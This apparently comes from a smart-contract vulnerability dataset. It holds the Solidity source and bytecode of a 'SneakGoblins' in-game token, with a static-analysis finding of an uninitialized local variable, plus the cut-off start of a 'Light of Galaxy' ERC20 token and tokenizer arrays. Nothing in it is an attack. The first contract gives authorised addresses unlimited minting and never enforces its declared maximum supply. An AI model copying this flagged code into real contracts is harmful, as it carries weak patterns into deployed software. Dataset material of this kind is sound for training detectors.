[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,095
0x9635F334EA07F530FDC962d58B044276406A5389
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; // ███████╗███╗ ██╗███████╗ █████╗ ██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███╗ ██╗███████╗ // ██╔════╝████╗ ██║██╔════╝██╔══██╗██║ ██╔╝╚██╗ ██╔╝ ██╔════╝ ██╔═══██╗██╔══██╗██║ ██║████╗ ██║██╔════╝ // ███████╗██╔██╗ ██║█████╗ ███████║█████╔╝ ╚████╔╝ ██║ ███╗██║ ██║██████╔╝██║ ██║██╔██╗ ██║███████╗ // ╚════██║██║╚██╗██║██╔══╝ ██╔══██║██╔═██╗ ╚██╔╝ ██║ ██║██║ ██║██╔══██╗██║ ██║██║╚██╗██║╚════██║ // ███████║██║ ╚████║███████╗██║ ██║██║ ██╗ ██║ ╚██████╔╝╚██████╔╝██████╔╝███████╗██║██║ ╚████║███████║ // ╚══════╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝ ╚═══╝╚══════╝ // Imports import "./Ownable.sol"; import "./IERC20.sol"; import "./ERC20.sol"; import "./ReentrancyGuard.sol"; /** * @notice Interface for checking active staked balance of a user. */ interface IStaking { function getTotalRewards(address staker) external view returns (uint256); } /** * @title The ERC20 smart contract. */ contract Token is ERC20, ReentrancyGuard, Ownable { IStaking public stakingContract; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_PERCENT = 100; uint256 public spendTaxPercent; uint256 public withdrawTaxPercent; uint256 public taxClaimedAmount; uint256 public activeTaxCollectedAmount; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; mapping(address => bool) private _isAuthorised; modifier onlyAuthorised() { require(_isAuthorised[_msgSender()], "Not Authorised"); _; } modifier whenNotPaused() { require(!isPaused, "Token game is paused"); _; } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor(address indexed caller, address indexed userAddress, uint256 amount); event Spend(address indexed caller, address indexed userAddress, uint256 amount, uint256 tax); event ClaimTax(address indexed caller, address indexed userAddress, uint256 amount); event InternalTransfer(address indexed from, address indexed to, uint256 amount); /** * @notice The smart contract constructor that initializes the contract. * @param stakingContract_ The address of the NFT staking smart contract. * @param tokenName The name of the token. * @param tokenSymbol The symbol of the token. */ constructor( address stakingContract_, string memory tokenName, string memory tokenSymbol ) ERC20(tokenName, tokenSymbol) { _isAuthorised[_msgSender()] = true; withdrawTaxPercent = 25; spendTaxPercent = 25; stakingContract = IStaking(stakingContract_); } /** * @notice Returns current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 SneakGoblins OR can be withdrawn to ERC-20 SneakGoblins. * @param user The user to get the balance of. * @return The user balance. */ function getUserBalance(address user) public view returns (uint256) { return (stakingContract.getTotalRewards(user) + depositedAmount[user] - spentAmount[user]); } /** * @notice Deposit ERC-20 to the game balance. * @param amount The amount of funds to deposit. */ function depositToken(uint256 amount) public nonReentrant whenNotPaused { require(!isDepositPaused, "Deposit Paused"); require(balanceOf(_msgSender()) >= amount, "Insufficient balance"); _burn(_msgSender(), amount); depositedAmount[_msgSender()] += amount; emit Deposit(_msgSender(), amount); } /** * @notice Withdraws in-game balance to ERC-20. * @param amount The amount of funds to withdraw. */ function withdrawToken(uint256 amount) public nonReentrant whenNotPaused { require(!isWithdrawPaused, "Withdraw Paused"); require(getUserBalance(_msgSender()) >= amount, "Insufficient balance"); uint256 tax = (amount * withdrawTaxPercent) / 100; spentAmount[_msgSender()] += amount; activeTaxCollectedAmount += tax; _mint(_msgSender(), (amount - tax)); emit Withdraw(_msgSender(), amount, tax); } /** * @notice Transfer in-game funds from one account to another. * @param to The receiver address. * @param amount The amount of in-game funds to transfer. */ function transferInGameBalance(address to, uint256 amount) public nonReentrant whenNotPaused { require(!isTransferPaused, "Transfer Paused"); require(getUserBalance(_msgSender()) >= amount, "Insufficient balance"); spentAmount[_msgSender()] += amount; depositedAmount[to] += amount; emit InternalTransfer(_msgSender(), to, amount); } /** * @notice Spends in-game funds of users in batch. Is used with internal purchases of other NFTs, etc. * @param user The array of user addresses. * @param amount The array of amount of funds to spend. */ function spendInGameBalanceInBatch(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { require(user.length == amount.length, "Wrong arrays passed"); for (uint256 i; i < user.length; i++) { _spendInGameBalance(user[i], amount[i]); } } /** * @notice Spends in-game funds of a user. Is used with internal purchases of other NFTs, etc. * @param user The address of the user. * @param amount The amount of funds to spend. */ function spendInGameBalance(address user, uint256 amount) public onlyAuthorised nonReentrant { _spendInGameBalance(user, amount); } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function _spendInGameBalance(address user, uint256 amount) internal { require(getUserBalance(user) >= amount, "Insufficient balance"); uint256 tax = (amount * spendTaxPercent) / 100; spentAmount[user] += amount; activeTaxCollectedAmount += tax; emit Spend(_msgSender(), user, amount, tax); } /** * @notice Deposits funds to user's in-game balance. * @param user The address of the user. * @param amount The amount of funds to deposit. */ function depositInGameBalance(address user, uint256 amount) public onlyAuthorised nonReentrant { _depositInGameBalance(user, amount); } /** * @notice Distributes funds to users. * @param user The array of user addresses. * @param amount The array of amount of funds to distribute. */ function distributeInGameBalance(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { require(user.length == amount.length, "Wrong arrays passed"); for (uint256 i; i < user.length; i++) { _depositInGameBalance(user[i], amount[i]); } } /** * @notice Mints tokens. * @param user The minter address. * @param amount The amount of tokens to mint. */ function mint(address user, uint256 amount) external onlyAuthorised nonReentrant { _mint(user, amount); } /** * @notice Claims tokens from the tax accumulated pot. * @param user The address of the tax funds receiver. * @param amount The amount of funds to transfer. */ function claimTax(address user, uint256 amount) public onlyAuthorised nonReentrant { require(activeTaxCollectedAmount >= amount, "Insufficient tax balance"); activeTaxCollectedAmount -= amount; depositedAmount[user] += amount; taxClaimedAmount += amount; emit ClaimTax(_msgSender(), user, amount); } /** * @notice Deposits in-game funds to the user's balance. * @param user The address of the user. * @param amount The amount of funds to deposit. */ function _depositInGameBalance(address user, uint256 amount) internal { require(user != address(0), "Cannot send to 0 address"); depositedAmount[user] += amount; emit DepositFor(_msgSender(), user, amount); } /* ADMIN FUNCTIONS */ /** * @notice Authorises addresses. * @param addressToAuth The address to authorise. */ function authorise(address addressToAuth) public onlyOwner { _isAuthorised[addressToAuth] = true; authorisedLog.push(addressToAuth); } /** * @notice Unauthorises addresses. * @param addressToUnAuth The address to unauthorise. */ function unauthorise(address addressToUnAuth) public onlyOwner { _isAuthorised[addressToUnAuth] = false; } /** * @notice Sets the staking contract. * @param stakingContract_ The address of the staking contract. */ function setStakingContract(address stakingContract_) public onlyOwner { stakingContract = IStaking(stakingContract_); authorise(stakingContract_); } /** * @notice Sets the withdrawal tax percent. * @param taxPercent The tax percentage. */ function setWithdrawTaxPercent(uint256 taxPercent) public onlyOwner { require(taxPercent < MAX_TAX_PERCENT, "Wrong value passed"); withdrawTaxPercent = taxPercent; } /** * @notice Sets the spending tax percent. * @param taxPercent The tax percentage. */ function setSpendTaxPercent(uint256 taxPercent) public onlyOwner { require(taxPercent < MAX_TAX_PERCENT, "Wrong value passed"); spendTaxPercent = taxPercent; } /** * @notice Pauses fund transactions. * @param _pause The state of the pause. */ function setPauseGameToken(bool _pause) public onlyOwner { isPaused = _pause; } /** * @notice Pauses fund transfers. * @param _pause The state of the pause. */ function setPauseTransfers(bool _pause) public onlyOwner { isTransferPaused = _pause; } /** * @notice Pauses fund withdrawals. * @param _pause The state of the pause. */ function setPauseWithdraw(bool _pause) public onlyOwner { isWithdrawPaused = _pause; } /** * @notice Pauses fund deposits. * @param _pause The state of the pause. */ function setPauseDeposits(bool _pause) public onlyOwner { isDepositPaused = _pause; } /** * @notice Burns the tokens. * @notice The amount of tokens to burn. */ function burn(uint256 amount) external onlyOwner { _burn(_msgSender(), amount); } /** * @notice Withdraws ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
0x608060405234801561001057600080fd5b50600436106102bb5760003560e01c8063715018a611610182578063b187bd26116100e9578063dd62ed3e116100a2578063ee99205c1161007c578063ee99205c14610634578063f2fde38b14610647578063f560d0b21461065a578063fcff8e9d1461066c57600080fd5b8063dd62ed3e146105d5578063e74d3a411461060e578063ec95ca001461062157600080fd5b8063b187bd261461057e578063b5b521bb1461058b578063b84e1c0814610594578063bcd54cf81461059c578063c69c2797146105af578063c82bc61d146105c257600080fd5b80639467ec041161013b5780639467ec041461051657806395d89b41146105295780639dd373b914610531578063a1a1ef4314610544578063a457c2d714610558578063a9059cbb1461056b57600080fd5b8063715018a6146104a75780638075654e146104af57806380833d78146104c257806383ac56ad146104d557806384b4efea146104e85780638da5cb5b146104f157600080fd5b80633466e4041161022657806350baa622116101df57806350baa622146104125780636215be771461042557806366e6c8af1461043857806367800b5f1461044b5780636d031d0a1461045e57806370a082311461047e57600080fd5b80633466e4041461039d57806339509351146103a657806340c10f19146103b957806342966c68146103cc57806347734892146103df5780634a4643f7146103f257600080fd5b806322f8388c1161027857806322f8388c1461033957806323b872dd1461034c5780632a68f2c21461035f578063313ce5671461037257806332cb6b0c1461038157806332dba96b1461038a57600080fd5b806306fdde03146102c0578063095ea7b3146102de5780630f06aa5f1461030157806318160ddd146103165780631fbe1979146103285780632041baf114610330575b600080fd5b6102c861067f565b6040516102d59190611d82565b60405180910390f35b6102f16102ec366004611df3565b610711565b60405190151581526020016102d5565b61031461030f366004611e1d565b610729565b005b6002545b6040519081526020016102d5565b610314610776565b61031a600c5481565b610314610347366004611df3565b6107dc565b6102f161035a366004611e46565b610845565b61031461036d366004611df3565b610869565b604051601281526020016102d5565b61031a60085481565b610314610398366004611f58565b6108c9565b61031a600b5481565b6102f16103b4366004611df3565b6109ca565b6103146103c7366004611df3565b610a09565b6103146103da366004612018565b610a69565b61031a6103ed366004612031565b610a9e565b61031a610400366004612031565b600f6020526000908152604090205481565b610314610420366004612018565b610b46565b610314610433366004612018565b610cb9565b610314610446366004612031565b610dde565b600d546102f19062010000900460ff1681565b61031a61046c366004612031565b60106020526000908152604090205481565b61031a61048c366004612031565b6001600160a01b031660009081526020819052604090205490565b610314610e6e565b6103146104bd366004611df3565b610ea4565b6103146104d0366004612031565b610ff3565b6103146104e3366004612018565b61103e565b61031a600a5481565b6006546001600160a01b03165b6040516001600160a01b0390911681526020016102d5565b610314610524366004611f58565b6110b2565b6102c86111a9565b61031461053f366004612031565b6111b8565b600d546102f1906301000000900460ff1681565b6102f1610566366004611df3565b611206565b6102f1610579366004611df3565b611298565b600d546102f19060ff1681565b61031a60095481565b61031a606481565b6103146105aa366004612018565b6112a6565b6103146105bd366004611e1d565b61131a565b6104fe6105d0366004612018565b611357565b61031a6105e336600461204c565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61031461061c366004611df3565b611381565b61031461062f366004611e1d565b6114cd565b6007546104fe906001600160a01b031681565b610314610655366004612031565b611515565b600d546102f190610100900460ff1681565b61031461067a366004611e1d565b6115ad565b60606003805461068e9061207f565b80601f01602080910402602001604051908101604052809291908181526020018280546106ba9061207f565b80156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b5050505050905090565b60003361071f8185856115f3565b5060019392505050565b6006546001600160a01b0316331461075c5760405162461bcd60e51b8152600401610753906120b9565b60405180910390fd5b600d80549115156101000261ff0019909216919091179055565b6006546001600160a01b031633146107a05760405162461bcd60e51b8152600401610753906120b9565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156107d9573d6000803e3d6000fd5b50565b3360009081526011602052604090205460ff1661080b5760405162461bcd60e51b8152600401610753906120ee565b60026005540361082d5760405162461bcd60e51b815260040161075390612116565b600260055561083c8282611718565b50506001600555565b6000336108538582856117ea565b61085e85858561187c565b506001949350505050565b3360009081526011602052604090205460ff166108985760405162461bcd60e51b8152600401610753906120ee565b6002600554036108ba5760405162461bcd60e51b815260040161075390612116565b600260055561083c8282611a4a565b3360009081526011602052604090205460ff166108f85760405162461bcd60e51b8152600401610753906120ee565b60026005540361091a5760405162461bcd60e51b815260040161075390612116565b600260055580518251146109665760405162461bcd60e51b815260206004820152601360248201527215dc9bdb99c8185c9c985e5cc81c185cdcd959606a1b6044820152606401610753565b60005b82518110156109c0576109ae8382815181106109875761098761214d565b60200260200101518383815181106109a1576109a161214d565b6020026020010151611a4a565b806109b881612179565b915050610969565b5050600160055550565b3360008181526001602090815260408083206001600160a01b038716845290915281205490919061071f9082908690610a04908790612192565b6115f3565b3360009081526011602052604090205460ff16610a385760405162461bcd60e51b8152600401610753906120ee565b600260055403610a5a5760405162461bcd60e51b815260040161075390612116565b600260055561083c8282611b12565b6006546001600160a01b03163314610a935760405162461bcd60e51b8152600401610753906120b9565b6107d9335b82611bea565b6001600160a01b03818116600081815260106020908152604080832054600f909252808320546007549151630af3c58760e21b8152600481019590955292949193911690632bcf161c90602401602060405180830381865afa158015610b08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2c91906121aa565b610b369190612192565b610b4091906121c3565b92915050565b600260055403610b685760405162461bcd60e51b815260040161075390612116565b6002600555600d5460ff1615610b905760405162461bcd60e51b8152600401610753906121da565b600d5462010000900460ff1615610bdb5760405162461bcd60e51b815260206004820152600f60248201526e15da5d1a191c985dc814185d5cd959608a1b6044820152606401610753565b80610be533610a9e565b1015610c035760405162461bcd60e51b815260040161075390612208565b60006064600a5483610c159190612236565b610c1f9190612255565b33600090815260106020526040812080549293508492909190610c43908490612192565b9250508190555080600c6000828254610c5c9190612192565b90915550610c75905033610c7083856121c3565b611b12565b604080518381526020810183905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568910160405180910390a250506001600555565b600260055403610cdb5760405162461bcd60e51b815260040161075390612116565b6002600555600d5460ff1615610d035760405162461bcd60e51b8152600401610753906121da565b600d54610100900460ff1615610d4c5760405162461bcd60e51b815260206004820152600e60248201526d11195c1bdcda5d0814185d5cd95960921b6044820152606401610753565b80610d563361048c565b1015610d745760405162461bcd60e51b815260040161075390612208565b610d7d33610a98565b336000908152600f602052604081208054839290610d9c908490612192565b909155505060405181815233907fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c9060200160405180910390a2506001600555565b6006546001600160a01b03163314610e085760405162461bcd60e51b8152600401610753906120b9565b6001600160a01b03166000818152601160205260408120805460ff19166001908117909155600e805491820181559091527fbb7b4a454dc3493923482f07822329ed19e8244eff582cc204f8554c3620c3fd0180546001600160a01b0319169091179055565b6006546001600160a01b03163314610e985760405162461bcd60e51b8152600401610753906120b9565b610ea26000611d30565b565b3360009081526011602052604090205460ff16610ed35760405162461bcd60e51b8152600401610753906120ee565b600260055403610ef55760405162461bcd60e51b815260040161075390612116565b6002600555600c54811115610f4c5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74207461782062616c616e636500000000000000006044820152606401610753565b80600c6000828254610f5e91906121c3565b90915550506001600160a01b0382166000908152600f602052604081208054839290610f8b908490612192565b9250508190555080600b6000828254610fa49190612192565b90915550506040518181526001600160a01b0383169033907f1ad2283cc65e3e122c0a874bda25abbd844e8ae88fa9512b4849ee1b58b6570d906020015b60405180910390a350506001600555565b6006546001600160a01b0316331461101d5760405162461bcd60e51b8152600401610753906120b9565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6006546001600160a01b031633146110685760405162461bcd60e51b8152600401610753906120b9565b606481106110ad5760405162461bcd60e51b815260206004820152601260248201527115dc9bdb99c81d985b1d59481c185cdcd95960721b6044820152606401610753565b600955565b3360009081526011602052604090205460ff166110e15760405162461bcd60e51b8152600401610753906120ee565b6002600554036111035760405162461bcd60e51b815260040161075390612116565b6002600555805182511461114f5760405162461bcd60e51b815260206004820152601360248201527215dc9bdb99c8185c9c985e5cc81c185cdcd959606a1b6044820152606401610753565b60005b82518110156109c0576111978382815181106111705761117061214d565b602002602001015183838151811061118a5761118a61214d565b6020026020010151611718565b806111a181612179565b915050611152565b60606004805461068e9061207f565b6006546001600160a01b031633146111e25760405162461bcd60e51b8152600401610753906120b9565b600780546001600160a01b0319166001600160a01b0383161790556107d981610dde565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091908381101561128b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610753565b61085e82868684036115f3565b60003361071f81858561187c565b6006546001600160a01b031633146112d05760405162461bcd60e51b8152600401610753906120b9565b606481106113155760405162461bcd60e51b815260206004820152601260248201527115dc9bdb99c81d985b1d59481c185cdcd95960721b6044820152606401610753565b600a55565b6006546001600160a01b031633146113445760405162461bcd60e51b8152600401610753906120b9565b600d805460ff1916911515919091179055565b600e818154811061136757600080fd5b6000918252602090912001546001600160a01b0316905081565b6002600554036113a35760405162461bcd60e51b815260040161075390612116565b6002600555600d5460ff16156113cb5760405162461bcd60e51b8152600401610753906121da565b600d546301000000900460ff16156114175760405162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8814185d5cd959608a1b6044820152606401610753565b8061142133610a9e565b101561143f5760405162461bcd60e51b815260040161075390612208565b336000908152601060205260408120805483929061145e908490612192565b90915550506001600160a01b0382166000908152600f60205260408120805483929061148b908490612192565b90915550506040518181526001600160a01b0383169033907fe2080c8fc8d86c864d8dc081fadaebf2be7191086615e786f954420f13ed122a90602001610fe2565b6006546001600160a01b031633146114f75760405162461bcd60e51b8152600401610753906120b9565b600d805491151563010000000263ff00000019909216919091179055565b6006546001600160a01b0316331461153f5760405162461bcd60e51b8152600401610753906120b9565b6001600160a01b0381166115a45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610753565b6107d981611d30565b6006546001600160a01b031633146115d75760405162461bcd60e51b8152600401610753906120b9565b600d8054911515620100000262ff000019909216919091179055565b6001600160a01b0383166116555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610753565b6001600160a01b0382166116b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610753565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b8061172283610a9e565b10156117405760405162461bcd60e51b815260040161075390612208565b60006064600954836117529190612236565b61175c9190612255565b6001600160a01b038416600090815260106020526040812080549293508492909190611789908490612192565b9250508190555080600c60008282546117a29190612192565b909155505060408051838152602081018390526001600160a01b0385169133917fed8cfe3600cacf009dc67354491d44da19a77f26a4aed42181ba6824ccb35d72910161170b565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461187657818110156118695760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610753565b61187684848484036115f3565b50505050565b6001600160a01b0383166118e05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610753565b6001600160a01b0382166119425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610753565b6001600160a01b038316600090815260208190526040902054818110156119ba5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610753565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906119f1908490612192565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a3d91815260200190565b60405180910390a3611876565b6001600160a01b038216611aa05760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f742073656e6420746f2030206164647265737300000000000000006044820152606401610753565b6001600160a01b0382166000908152600f602052604081208054839290611ac8908490612192565b90915550506040518181526001600160a01b0383169033907f6b64443f4cc3aac2df66fff76675a29dc321ce9efebffb006f528db1690179a0906020015b60405180910390a35050565b6001600160a01b038216611b685760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610753565b8060026000828254611b7a9190612192565b90915550506001600160a01b03821660009081526020819052604081208054839290611ba7908490612192565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611b06565b6001600160a01b038216611c4a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610753565b6001600160a01b03821660009081526020819052604090205481811015611cbe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610753565b6001600160a01b0383166000908152602081905260408120838303905560028054849290611ced9084906121c3565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161170b565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015611daf57858101830151858201604001528201611d93565b81811115611dc1576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114611dee57600080fd5b919050565b60008060408385031215611e0657600080fd5b611e0f83611dd7565b946020939093013593505050565b600060208284031215611e2f57600080fd5b81358015158114611e3f57600080fd5b9392505050565b600080600060608486031215611e5b57600080fd5b611e6484611dd7565b9250611e7260208501611dd7565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611ec157611ec1611e82565b604052919050565b600067ffffffffffffffff821115611ee357611ee3611e82565b5060051b60200190565b600082601f830112611efe57600080fd5b81356020611f13611f0e83611ec9565b611e98565b82815260059290921b84018101918181019086841115611f3257600080fd5b8286015b84811015611f4d5780358352918301918301611f36565b509695505050505050565b60008060408385031215611f6b57600080fd5b823567ffffffffffffffff80821115611f8357600080fd5b818501915085601f830112611f9757600080fd5b81356020611fa7611f0e83611ec9565b82815260059290921b84018101918181019089841115611fc657600080fd5b948201945b83861015611feb57611fdc86611dd7565b82529482019490820190611fcb565b9650508601359250508082111561200157600080fd5b5061200e85828601611eed565b9150509250929050565b60006020828403121561202a57600080fd5b5035919050565b60006020828403121561204357600080fd5b611e3f82611dd7565b6000806040838503121561205f57600080fd5b61206883611dd7565b915061207660208401611dd7565b90509250929050565b600181811c9082168061209357607f821691505b6020821081036120b357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600e908201526d139bdd08105d5d1a1bdc9a5cd95960921b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161218b5761218b612163565b5060010190565b600082198211156121a5576121a5612163565b500190565b6000602082840312156121bc57600080fd5b5051919050565b6000828210156121d5576121d5612163565b500390565b602080825260149082015273151bdad95b8819d85b59481a5cc81c185d5cd95960621b604082015260600190565b602080825260149082015273496e73756666696369656e742062616c616e636560601b604082015260600190565b600081600019048311821515161561225057612250612163565b500290565b60008261227257634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122052220650d1adffda341f6925a2a9babbc50ea2f0a139a19c0d2d5b3e0b82847d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 19481, 2546, 22394, 2549, 5243, 2692, 2581, 2546, 22275, 2692, 2546, 16409, 2683, 2575, 2475, 2094, 27814, 2497, 2692, 22932, 22907, 21084, 2692, 2575, 2050, 22275, 2620, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2410, 1025, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 17589, 12324, 1000, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,096
0x9635f53a0b6b0436e05f1b2cc46283bc4586224d
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'LOG' token contract // // Deployed to : 0x51C63162626dd2687B1Ab22F301039DD97FD5B86 // Symbol : LOG // Name : Light of Galaxy // Total supply: 1000000000 // Decimals : 0 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract LightofGalaxy is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function LightofGalaxy() public { symbol = "LOG"; name = "Light of Galaxy"; decimals = 0; _totalSupply = 1000000000; balances[0x51C63162626dd2687B1Ab22F301039DD97FD5B86] = _totalSupply; Transfer(address(0), 0x51C63162626dd2687B1Ab22F301039DD97FD5B86, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public 